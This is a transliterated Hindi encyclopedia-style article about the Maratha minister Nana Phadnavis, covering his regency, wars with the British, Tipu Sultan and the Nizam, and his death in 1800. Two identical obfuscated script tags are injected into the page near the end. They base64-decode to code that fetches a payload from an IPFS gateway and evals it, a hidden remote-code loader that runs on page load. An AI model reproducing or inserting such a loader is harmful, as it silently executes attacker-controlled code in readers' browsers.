नाना फड़नवीस

nana ph danavis ek maratha rajaneta tha, jo panipat ke tritiy yuddh ke samay peshava ki seva mean niyukt tha. vah apani chaturaee aur buddhimatta ke liye bahut prasiddh hai. 1800 ee. mean nana ph danavis ki mrityu ho gee.

maratha rajy ka sanchalan

vah yuddhabhoomi se jivit laut aya tha. isake bad 1773 ee. mean narayanarav peshava ki hatya kara kar usake chacha raghoba ne jab svayan gaddi hathiyane ka prayatn kiya to usane usaka virodh kiya. nana ph danavis ne narayanarav ke maranoparant utpann putr madhavarav narayan ko 1774 ee. mean peshava ki gaddi par baithakar raghoba ki chal viphal kar di. nana ph danavis hi alpavayask peshava ka mukhyamantri bana aur 1774 se 1800 ee. mean mrityuparyant maratha rajy ka sanchalan karata raha. kintu usaki sthiti nishkantak n thi, kyoanki any maratha saradar, visheshakar mahadaji shinde usake virodhi the.

nana ph danavis ki chaturaee

phir bhi nana ph danavis apani chaturaee se samast virodhoan ke bavajood apane satta banaye rakhane mean saphal raha. 1775 se 1783 ee. tak usane aangrezoan ke viruddh pratham maratha yuddh ka sanchalan kiya. salabaee ki sandhi se is yuddh ki samapti huee. ukt sandhi ke anusar raghoba ko peanshan de gee aur marathoan ko sashti ke atirikt any kisi bhoobhag se hath nahian dhona p da. 1784 ee. mean hi nana ph danavis ne maisoor ke shasak tipoo sultan se loha liya aur kuchh aise ilake pun: prapt kar liye, jinhean tipoo ne balapoorvak apane adhikar mean kar liya tha. 1789 ee. mean tipoo sultan ke viruddh usane aangrezoan aur nizam ka sath diya tatha tritiy maisoor yuddh mean bhi bhag liya. jisake phalasvaroop marathoan ko tipoo ke rajy ka ek bhoobhag prapt hua.

nishkantak rajy sanchalan

1794 ee. mean mahadaji shinde ki mrityu ho jane se nana ph danavis ka ek prabal pratidvandvi uth gaya aur usake bad nana ph danavis ne nirvirodh maratha rajaniti ka sanchalan kiya. 1795 ee. mean usane maratha sangh ki sammilit senaoan ka nizam ke viruddh sanchalan kiya aur kharda ke yuddh mean nizam ki parajay huee. phalasvaroop nizam ko apane rajy ke kee mahattvapoorn bhoobhag marathoan ko dene p de.

maratha shakti ka vibhajan

1796 ee. mean nana ph danavis ke kathor niyantran se tang akar madhorav peshava ne atmahatya kar li. uparant raghoba ka putr bajirav dvitiy peshava bana, jo prarambh se hi nana ph danavis ka prabal virodhi tha. is prakar brahman peshava aur usake brahman mukhyamantri mean pratidvandvita chal p di. donoan mean se kisi mean bhi sainik kshamata nahian thi, kintu donoan hi rajaniti ke chatur evan dhoort khila di the. donoan ke paraspar sh dayantr se marathoan ka do virodhi shiviroan mean vibhajan ho gaya, jisase peshava ki sthiti aur bhi kamazor p d gee. isake bavajood nana ph danavis ajivan maratha sangh ko ek sootr mean abaddh rakhane mean samarth raha.

mrityu

1800 ee. mean nana ph danavis ki mrityu ho gee aur isake sath hi marathoan ki samast kshamata, chaturata aur soojhaboojh ka aant ho gaya.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

(pustak 'bharatiy itihas kash') prishth sankhya-220